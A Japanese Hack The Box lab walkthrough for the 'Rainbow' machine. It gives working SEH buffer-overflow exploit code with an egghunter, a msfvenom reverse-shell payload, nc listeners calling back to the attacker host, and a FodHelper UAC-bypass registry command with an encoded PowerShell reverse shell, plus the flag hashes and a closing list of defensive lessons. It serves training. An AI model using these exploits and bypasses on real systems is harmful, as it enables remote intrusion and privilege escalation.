Hack The BoxのWriteup(Rainbow)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Rainbow — 全実行コマンド・実行結果レポート
Nmap スキャン
21/80/135/139/445/3389/8080
FTP匿名ログイン
rainbow.exe / dev.txt / restart.ps1
SEH BOF 解析
offset=660, POP POP RET
egghunter + shellcode
msfvenom shell_reverse_tcp
rainbow シェル取得
user.txt ✓
BUILTIN\Administrators
whoami /all で判明
FodHelper UACバイパス
HKCU ms-settings レジストリ
root.txt ✓

ポートスキャン(主要ポート → 全ポート)

BASH
nmap -Pn -p 21,22,23,25,53,80,88,110,111,135,139,143,389,443,445,... -T4 --max-retries 3 10.129.234.171
RESULT
PORT     STATE SERVICE
21/tcp   open  ftp
80/tcp   open  http
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 3.86 seconds
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.234.171
RESULT
追加で 49668/tcp open msrpc を検出(全8ポート)

バージョン・スクリプトスキャン

BASH
nmap -sV -sC -p 21,80,135,139,445,3389,8080,49668 10.129.234.171
RESULT
PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 01-18-22  08:22AM                  258 dev.txt
| 01-18-22  08:30AM                54784 rainbow.exe
| 01-16-22  01:34PM                  479 restart.ps1
|_01-16-22  12:14PM       <DIR>          wwwroot
80/tcp    open  http          Microsoft IIS httpd 10.0
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: RAINBOW
|   NetBIOS_Domain_Name: RAINBOW
|   DNS_Domain_Name: rainbow
|   Product_Version: 10.0.17763
8080/tcp  open  http-proxy
| fingerprint-strings:
|   GetRequest, HTTPOptions:
|     HTTP/1.1 200 OK
|     Cache-Control: no-cache, private
|     Content-Type: text/html
|     X-Powered-By: Rainbow 0.1
|     <title>Dev Wiki powered by Rainbow Webserver</title>
49668/tcp open  msrpc         Microsoft Windows RPC
🚨
重要発見: ポート 21 で FTP匿名ログイン許可、ポート 8080 に X-Powered-By: Rainbow 0.1 というカスタム自作Webサーバーが稼働している。 Product_Version 10.0.17763 = Windows Server 2019
PHASE 2

FTP匿名ログイン調査 — rainbow.exe / dev.txt / restart.ps1

FTPで匿名ログインし4ファイルを取得

BASH
ftp 10.129.234.171
# Name: anonymous / Password: (空でも可)
ftp> ls
ftp> binary
ftp> get dev.txt
ftp> get rainbow.exe
ftp> get restart.ps1
ftp> ls wwwroot
ftp> get wwwroot/index.html

# まとめて取得する場合
wget -m ftp://anonymous:anonymous@10.129.234.171/
RESULT
220 Microsoft FTP Service
331 Anonymous access allowed, send identity (e-mail name) as password.
230 User logged in.
01-18-22  08:22AM                  258 dev.txt
01-18-22  08:30AM                54784 rainbow.exe
01-16-22  01:34PM                  479 restart.ps1
01-16-22  12:14PM       <DIR>          wwwroot
(wwwroot 内: index.html 1523 bytes — ポート8080の index ページと同一)
⚠️
バイナリファイル(rainbow.exe)を取得する際は binary モードへの切り替えを忘れないこと (ASCIIモードのままだと実行ファイルが破損する)。

dev.txt — 開発チームのメモ

RESULT (dev.txt)
* Our webserver has been crashing a lot lately. Instead of touching the
  code we added a restart script!
* The server will dynamically pick a port when its default port is
  unresponsive (8080-8090).
* We'll fix this later by adding load balancer.
- dev team
ℹ️
重要な手掛かり: Webサーバー(rainbow.exe)はクラッシュしやすいことが公式に認められている。 SEH BOF でクラッシュさせても、監視スクリプトが自動再起動してくれる。ただし デフォルトポート8080が応答不能な場合、8080〜8090の空きポートへ動的に移る点に注意。

restart.ps1 — 監視・自動再起動スクリプト

RESULT (restart.ps1)
Set-Location -Path c:\rainbow
for (;;) {
  try {
    If (!(Get-Process -Name rainbow -ErrorAction SilentlyContinue)) {
      Invoke-Expression "C:\rainbow\rainbow.exe"
    }
    $proc = Get-Process -Name rainbow | Sort-Object -Property ProcessName -Unique -ErrorAction SilentlyContinue
    If (!$proc -or ($proc.Responding -eq $false) -or ($proc.WorkingSet -GT 200000*1024)) {
      $proc.Kill()
      Start-Sleep -s 10
      Invoke-Expression "C:\rainbow\rainbow.exe"
    }
  } catch {}
  Start-Sleep -s 30
}
ℹ️
プロセスが存在しない・応答しない・メモリが200MBを超えた場合に強制終了→10秒待機→再起動、を30秒間隔でループする。 つまり BOFでクラッシュさせても最大30〜40秒程度でサーバーが復活するため、繰り返しの試行が可能。

rainbow.exe — バイナリの基本情報

BASH
file rainbow.exe
RESULT
rainbow.exe: PE32 executable (console) Intel 80386, for MS Windows, 4 sections
ℹ️
32bit (x86) バイナリ。後の権限昇格フェーズで、このプロセスから取得するシェルが WOW64(32bit互換モード)で動作する点が重要になる。
PHASE 3

SEHベース・バッファオーバーフローの解析

クラッシュの確認とオフセット特定

NOTE
rainbow.exe (ポート8080) へ大きな POST ボディを送るとクラッシュする。
x32dbg/x64dbg でアタッチし、パターン文字列(De Bruijn列、pattern_create等で生成)
を送信してクラッシュ位置を観察する。

デバッガでの解析結果:
  - SEH(構造化例外処理)チェーンのハンドラアドレスが、送信したパターン中の
    4バイトで上書きされていることを確認 → SEHベースのオーバーフロー
  - パターンのオフセットを特定した結果: offset = 660 バイト
    (先頭から660バイト目でハンドラが上書きされる)

SEH上書きの定石: ハンドラアドレスに "POP POP RET" ガジェットを指定すると、
例外発生時にそのガジェットが実行され、次に控えている NSEH(Next SEH)の
4バイトへ実行が移る。これを利用して、NSEHに"短い後方ジャンプ"命令を置き、
シェルコード本体へ制御を移す、という古典的な手法が使える。

POP POP RET ガジェットの検索

NOTE
rainbow.exe 自身のモジュール内(ASLR / DEP 非対応であることが多い自作バイナリ)
から POP/POP/RET ガジェットを検索する(ERC.Xdbg や mona.py 等のツールを使用)。

固定アドレスとして次の値が確認できる(本バイナリは全インスタンス共通のため
再利用可能な確定値):

  SEH 上書き値 = 0x004094d8  (rainbow.exe モジュール内 POP ECX; POP ECX; RET)

後方ジャンプの計算(NSEH は4バイトしかない)

NOTE
NSEH は4バイトしかないため、660バイト全体を一度に戻るジャンプ命令は入らない
(5バイト jmp 命令が必要)。そこで2段階ジャンプを使う:

  1. NSEH (4バイト) に "jmp short -8" (EB F6) を置く
     → 8バイト前方(実際はコード上は "後方")に着地
  2. その8バイト手前に "jmp -652" (E9 6F FD FF FF, 5バイト+パディング3バイト)
     を仕込んでおく
  3. 合計 8 + 652 = 660 バイト戻ることになり、バッファ先頭付近の
     NOPスレッド → シェルコードへ着地する

本レポートでは、この2段ジャンプの代わりに egghunter 方式を採用する:
NSEH には短い後方ジャンプ (EB 80 90 90) のみを置き、バッファ中盤の
NOPスレッド上で egghunter コードを実行、egghunter が目印タグ ("w00tw00t")
を目印にメモリ上を検索して本体のシェルコードを発見・実行する。
オフセット計算の手間を減らせるため、汎用的なペイロード構築に向いている。

ペイロード全体構成(900バイト固定長)

PYTHON (ペイロード構造)
# [NOP*10] + [タグ "w00tw00t"] + [シェルコード] + [NOP*200] + [egghunter]
# + ['A' 埋め] + [NSEH: EB 80 90 90] + [SEH: 0x004094d8] + ['D' 埋め]
# 合計 900 バイト固定

TAG   = b"w00tw00t"                       # egghunter が探す目印
NSEH  = b"\xEB\x80\x90\x90"               # 短い後方ジャンプ → NOPスレッドへ着地
SEH   = 0x004094D8                        # POP ECX; POP ECX; RET ガジェット
OFFSET = 660                              # SEH上書きまでのバイト数
TOTAL  = 900                              # POSTボディ総サイズ

# egghunter は mona (-wow64 -winver 10) で生成した51バイトの汎用コード
EGGHUNTER = (
    b"\x42\x33\xd2\x66\x81\xca\xff\x0f\x33\xdb\x42\x53\x53\x52\x53\x53"
    b"\x53\x6a\x29\x58\xb3\xc0\x64\xff\x13\x83\xc4\x0c\x5a\x83\xc4\x08"
    b"\x3c\x05\x74\xdf\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xda\xaf\x75"
    b"\xd7\xff\xe7"
)
ℹ️
WOW64(32bit)プロセスをターゲットにした egghunter を使う場合、生成オプションに -wow64 を指定する必要がある点に注意(64bit版と32bit版でシステムコール番号が異なるため)。
PHASE 4

エクスプロイト実行 & user.txt 取得

msfvenom でリバースシェル shellcode を生成

BASH
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp \
  LHOST=10.10.15.201 LPORT=4444 EXITFUNC=thread \
  -b '\x00\x0a\x0d' -f raw -o rainbow_revshell_4444.bin
RESULT
shellcode 生成完了: 351 bytes
(bad chars \x00\x0a\x0d を除外 — HTTPボディ/行末処理で化ける文字を回避)

稼働ポートの確認(8080-8090 を走査)

BASH
for p in 8080 8081 8082 8083 8084 8085 8086 8087 8088 8089 8090; do
  code=$(curl -s -o /dev/null -w '%{http_code}' --max-time 5 "http://10.129.234.171:$p/")
  [ "$code" != "000" ] && echo "port $p: $code"
done
RESULT
port 8080: 200   ← 現在この番号で稼働中
ℹ️
dev.txt の記述通り、以前のクラッシュ試行でポートが8081以降に移っていることがある。 エクスプロイト直前に必ず現在の稼働ポートを確認すること。

リスナー起動 & BOFペイロード送信(生ソケット使用)

BASH
# ターミナル1: リバースシェル用リスナー
nc -lnvp 4444
PYTHON (ペイロード送信)
import socket

body = build_payload(shellcode)   # Phase 3-4 の900バイトペイロード

req  = b"POST / HTTP/1.1\r\n"
req += b"Host: 10.129.234.171:8080\r\n"
req += b"User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0\r\n"
req += b"Content-Type: application/x-www-form-urlencoded\r\n"
req += b"Content-Length: " + str(len(body)).encode() + b"\r\n\r\n"
req += body

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(10)
s.connect(("10.129.234.171", 8080))
s.send(req)
⚠️
ペイロードはバイナリ(NULL以外の制御文字含む)のため、curl ではなく 生ソケットで送信する。改行コードの正規化などで shellcode が壊れることを防ぐため。

シェル接続確認

RESULT (nc リスナー側)
listening on [any] 4444 ...
connect to [10.10.15.201] from (UNKNOWN) [10.129.234.171] 50291
Microsoft Windows [Version 10.0.17763.7434]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\rainbow>whoami
rainbow\rainbow
シェル取得成功! egghunter がタグ “w00tw00t” を発見し shellcode へジャンプ、 rainbow\rainbow ユーザーとしてリバースシェルが確立した。

user.txt 取得

BASH
C:\rainbow>type C:\Users\rainbow\Desktop\user.txt
RESULT
c6b3e638be4ae18c5f05b71b49c9716e
user.txt — rainbow\rainbow
c6b3e638be4ae18c5f05b71b49c9716e
PHASE 5

権限昇格の下調べ — グループメンバーシップ確認

whoami /all でグループ・権限を確認

BASH
C:\rainbow>whoami /all
RESULT
GROUP INFORMATION
------------------
Group Name                            Type             SID
====================================== ================ ==============
Everyone                               Well-known group S-1-1-0
BUILTIN\Administrators                 Alias            S-1-5-32-544  Enabled group
BUILTIN\Users                          Alias            S-1-5-32-545
...
🚨
重大発見: rainbow ユーザーは BUILTIN\Administrators グループのメンバー。つまり本来は管理者権限を持っているが、UAC (User Account Control) がフルアクセスを妨げている状態。UACバイパスさえ行えば root.txt に到達できる。

UACバイパス手法の選定 — FodHelper

NOTE
fodhelper.exe(Windows機能の追加画面を開く実行ファイル)は、
マニフェストで "autoElevate=true" が指定された既知の自動昇格バイナリ。
実行時に "ms-settings:" プロトコルハンドラを内部的に呼び出す際、
レジストリ HKCU(現在のユーザー権限で書き込み可能)を先に参照してしまう
実装上の不備があり、以下のキーを事前に仕込んでおくことで、
UACの同意画面を一切表示せずに任意コマンドを高い整合性レベルで実行できる。

  HKCU\Software\Classes\ms-settings\Shell\Open\command
    (default)        = 実行したいコマンド
    DelegateExecute   = "" (空文字列)

rainbow.exe は32bit(WOW64)プロセスのため、取得したシェルもWOW64。
WOW64プロセスから "C:\Windows\System32\fodhelper.exe" を指定すると、
Windows-on-Windows のファイルシステムリダイレクタにより実体は
"C:\Windows\SysWOW64\fodhelper.exe" に読み替えられてしまう。
32bit版の fodhelper.exe は存在しない(または挙動が異なる)ため、
リダイレクトを回避する特殊パス "C:\Windows\Sysnative\fodhelper.exe"
を使って本来の64bit版を明示的に呼び出す必要がある。
PHASE 6

FodHelper UACバイパス → root.txt

レジストリキーの設置

BASH
C:\rainbow>powershell -nop -c "New-Item -Path 'HKCU:\Software\Classes\ms-settings\Shell\Open\command' -Force | Out-Null; New-ItemProperty -Path 'HKCU:\Software\Classes\ms-settings\Shell\Open\command' -Name DelegateExecute -Value '' -PropertyType String -Force | Out-Null; Set-ItemProperty -Path 'HKCU:\Software\Classes\ms-settings\Shell\Open\command' -Name '(default)' -Value '<PowerShell中継シェルwan-liner (-enc base64)>' -Force"

C:\rainbow>reg query "HKCU\Software\Classes\ms-settings\Shell\Open\command"
RESULT
HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command
    (既定)    REG_SZ    powershell.exe -nop -w hidden -enc <...>
    DelegateExecute    REG_SZ
設置確認OK。 (default) の値には、Kaliへ接続し cmd.exe の入出力をTCPソケット経由で中継する PowerShellワンライナー (-enc base64エンコード済み)を仕込んでいる。

昇格用リスナー起動 & fodhelper.exe 起動

BASH
# ターミナル2: 昇格シェル用リスナー(別ポート)
nc -lnvp 4445

# 既存の rainbow シェルから Sysnative 経由で fodhelper.exe を直接実行
# (PowerShell の Start-Process は使わない — 下記トラブルシューティング参照)
C:\rainbow>C:\Windows\Sysnative\fodhelper.exe
RESULT (nc :4445 リスナー側)
listening on [any] 4445 ...
connect to [10.10.15.201] from (UNKNOWN) [10.129.234.171] 51090
Microsoft Windows [Version 10.0.17763.7434]

C:\rainbow>whoami
rainbow\rainbow
C:\rainbow>whoami /priv | findstr SeDebugPrivilege
SeDebugPrivilege                   Debug programs                     Enabled
UACバイパス成功! ユーザーは変わらず rainbow\rainbow のままだが、 SeDebugPrivilege などの特権が Enabled になっており、フル整合性レベル(管理者権限) で動作している(UACの同意画面は一切表示されなかった)。

トラブルシューティング: PowerShell Start-Process は使わない

NOTE
本検証では、当初 fodhelper.exe の起動に以下のコマンドを使用していた:

  powershell -nop -c "Start-Process 'C:\Windows\Sysnative\fodhelper.exe' -WindowStyle Hidden"

しかし実行すると毎回下記のエラーで失敗し、昇格シェルへの接続が一切来なかった:

  Start-Process : This command cannot be executed due to the error: ...
  + CategoryInfo          : InvalidOperation: (:) [Start-Process], InvalidOperationException
  + FullyQualifiedErrorId : InvalidOperationException,Microsoft.PowerShell.Commands.StartProcessCommand

原因: SEH BOFで得られるリバースシェル (windows/shell_reverse_tcp) は
対話デスクトップ/ウィンドウステーションを持たない非対話プロセスであり、
PowerShellの Start-Process コマンドレットは内部的に新規プロセスへの
ウィンドウステーションアクセスを試みるため、この環境では失敗する。

対策: 既に cmd.exe のリバースシェル内にいるのだから、PowerShellの
Start-Process を経由する必要はそもそも無い。cmd.exe から
"C:\Windows\Sysnative\fodhelper.exe" を直接タイプするだけでよい
(上記 6-2 のコマンドが対策後の正しい実行方法)。
この問題は Start-Process のような GUI 前提の cmdlet を非対話シェルから
呼び出す際に一般的に起こりうるため、可能な限り cmd.exe/PowerShell から
バイナリを直接呼び出すのが安全。
⚠️
同様の理由で、まず C:\Windows\Sysnative\fodhelper.exe(WOW64リダイレクト回避パス)で試し、 万一昇格シェルが返ってこない場合は C:\Windows\System32\fodhelper.exe でも再試行するとよい。

root.txt 取得

BASH
C:\rainbow>type C:\Users\Administrator\Desktop\root.txt
RESULT
df6d3f644ad91c731a1190485134ca2c
root.txt — Administrator@rainbow
df6d3f644ad91c731a1190485134ca2c
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — rainbow\rainbow
c6b3e638be4ae18c5f05b71b49c9716e
root.txt — Administrator@rainbow
df6d3f644ad91c731a1190485134ca2c

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
FTP匿名アクセス Microsoft ftpd 内部ファイル・バイナリの漏洩 Medium 認証なしで rainbow.exe / dev.txt / restart.ps1 を取得し、内部構成・再起動挙動を把握
SEHベース BOF rainbow.exe (カスタムWebサーバー, 8080-8090) リモートコード実行(一般ユーザー) Critical offset=660 の大きなPOSTボディでSEH上書き、POP/POP/RETガジェット+egghunterでshellcode実行
FodHelper UACバイパス fodhelper.exe (Windows標準機能) 権限昇格 (Administrators整合性) High HKCU\…\ms-settings\Shell\Open\command の DelegateExecute 悪用でUAC同意なしにコマンド実行

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap 全ポート + バージョンスキャン21/80/135/139/445/3389/8080/49668、カスタムWebサーバー検出
2FTP調査匿名ログイン + ファイル取得rainbow.exe(32bit)、再起動挙動、動的ポート仕様
3BOF解析x32dbg/x64dbg + パターン送信offset=660、POP POP RETガジェット 0x004094d8
4エクスプロイトmsfvenom shellcode + egghunter + 生ソケットPOSTuser.txt 取得(rainbow\rainbow シェル)
5権限調査whoami /allBUILTIN\Administrators 所属を確認
6UACバイパスFodHelper (HKCU ms-settings) + cmd.exe直接実行root.txt 取得(フル権限シェル)

学んだ教訓 & 防御策

問題点防御策
FTPサーバーの匿名ログインが有効 本番環境ではFTP匿名アクセスを無効化する。内部開発メモや実行ファイルを公開領域に置かない。
自作Webサーバー(rainbow.exe)にメモリ破壊脆弱性(SEH BOF)が存在 入力長のバリデーション、安全な文字列/バッファ処理関数の使用、コンパイル時の /GS・/SAFESEH・ASLR・DEP有効化。クラッシュを「再起動すればよい」で済ませず、根本原因を修正する。
一般ユーザーが不要に BUILTIN\Administrators に所属している 最小権限の原則を徹底し、サービス実行アカウントを管理者グループに含めない。
FodHelper UACバイパス(既知の手法、Windows 10/2016以降で長年報告されている) UACを「常に通知する」最高レベルに設定し、Admin Approval Modeの制限を強化。EDR/Sysmonで HKCU\...\ms-settings レジストリキーの作成・fodhelper.exeの異常な子プロセス生成を監視する。
HackTheBox: Rainbow | 完全攻略レポート |